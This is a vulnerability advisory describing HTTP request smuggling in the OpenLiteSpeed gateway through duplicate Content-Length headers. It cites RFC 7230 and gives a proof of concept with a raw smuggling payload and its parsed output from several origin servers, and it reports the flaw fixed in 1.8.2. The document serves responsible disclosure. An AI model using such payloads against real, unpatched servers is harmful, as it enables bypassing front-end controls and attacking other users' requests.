OLS is vulnerable to request smuggling via requests with multiple `Content-Length` headers
Summary
When OLS is acting as a gateway, and receives a request with two Content-Length headers, it forwards both, but interprets only the first.
Thus, when the origin server behind the OLS gateway prioritizes the second Content-Length header over the first, request smuggling can occur.
How OLS's behavior violates the RFC
From RFC 7230, section 3.3.3:
If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection.
Request Smuggling PoC
This attack is easily demonstrated within the HTTP Garden.
- Set up the HTTP Garden.
- Start the REPL:
rlwrap python3 ./tools/repl.py
- Run the following commands:
garden> # Set the payload
garden> payload 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Run it through the OLS gateway
garden> transduce openlitespeed_proxy
[2]: 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
⬇️ openlitespeed_proxy
[3]: 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\nX-Forwarded-Host: whatever\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 192.168.48.1\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Send the result to all of the origin servers
garden> fanout
- Observe that some origin servers see two requests in the gateway's output:
...
cheroot: [
HTTPRequest(
method=b'POST', uri=b'/', version=b'1.1',
headers=[
(b'accept_encoding', b'gzip'),
(b'content_length', b'0'),
(b'host', b'whatever'),
(b'x_forwarded_for', b'192.168.48.1'),
(b'x_forwarded_host', b'whatever'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'host', b'whatever'),
],
body=b'',
),
]
...
libsoup: [
HTTPRequest(
method=b'POST', uri=b'/', version=b'1.1',
headers=[
(b'accept-encoding', b'gzip'),
(b'content-length', b'34'),
(b'content-length', b'0'),
(b'host', b'whatever'),
(b'x-forwarded-for', b'192.168.48.1'),
(b'x-forwarded-host', b'whatever'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'host', b'whatever'),
],
body=b'',
),
]
...
uhttpd: [
HTTPRequest(
method=b'POST', uri=b'/', version=b'1.1',
headers=[
(b'accept-encoding', b'gzip'),
(b'content-length', b'0'),
(b'host', b'whatever'),
(b'x-forwarded-for', b'192.168.48.1'),
(b'x-forwarded-host', b'whatever'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'host', b'whatever'),
],
body=b'',
),
]
...
should be fixed in 1.8.2
Confirmed fixed in 1.8.2